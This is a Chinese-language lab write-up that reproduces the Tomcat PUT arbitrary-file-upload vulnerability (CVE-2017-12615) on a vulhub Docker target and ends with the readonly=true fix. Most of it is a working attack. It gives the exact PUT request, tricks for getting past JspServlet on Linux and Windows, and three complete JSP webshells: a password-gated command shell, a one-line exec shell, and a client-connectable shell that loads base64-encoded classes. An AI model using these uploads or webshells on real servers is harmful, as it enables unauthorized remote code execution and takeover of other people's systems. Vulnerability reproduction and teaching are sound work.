漏洞描述
Tomcat中如果在配置檔案中設定了readonly=false
,就會產生任意檔案上傳漏洞。
readonly
的值預設是true
,即不允許請求頭delete和put操作,如果設定該引數為false
,就可以透過put
請求方法上傳任意檔案,例如jsp
後門
漏洞利用
使用vulhub
進行漏洞復現
cd vulhub/tomcat/CVE-2017-12615
sudo docker-compose up -d
成功啟動
請求頭格式如下:
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
shell
上述上傳成功後就會在web目錄生成一個內容為shell的1.jsp檔案,只需要更改為jsp
程式碼即可
使用burp
抓包修改請求頭,將GET
改為PUT
,修改請求的檔名就是上傳的檔名,在POST
傳輸資料傳入jsp
木馬內容,
請求的地址為想要寫入的檔名,例如這裡是/1.jsp
,為什麼要加入/1.jsp/
呢?
是因為tomcat解析到字尾名為jsp
或者jspx
的時候會交給JspServlet
,最後的/
是因為檔名特性最後不支援/
預設會去除就可以繞過JspServlet
檔案的解析
具體原理可以參考https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e
這裡vulhub
靶機的實驗環境是Linux
,在Windows
中我們可以利用Windows
的檔名特性,例如字尾名空格去除或者是常用的::$DATA
NTFS檔案流繞過
上傳後使用訪問進行命令執行
jsp木馬參考:https://juejin.cn/post/7105300421089951775
有回顯的jsp木馬
<%
if ("ocean".equals(request.getParameter("pwd"))) {
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while ((a = in.read(b)) != -1) {
out.print(new String(b));
}
out.print("</pre>");
}
%>
使用方法需要傳入一個pwd
為密碼,密碼為ocean
可以自定義,之後傳入cmd
引數執行系統命令
預設的jsp一句話木馬
<% Runtime.getRuntime().exec(request.getParameter("i"));%>
缺點很多,無法使用工具連線,並且沒有命令回顯
工具可以連線的jsp木馬
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
修復建議
將readonly
的值改為true
即可防止該漏洞
修改web.xml
中readonly
的值為true
再次利用失敗
實驗結束。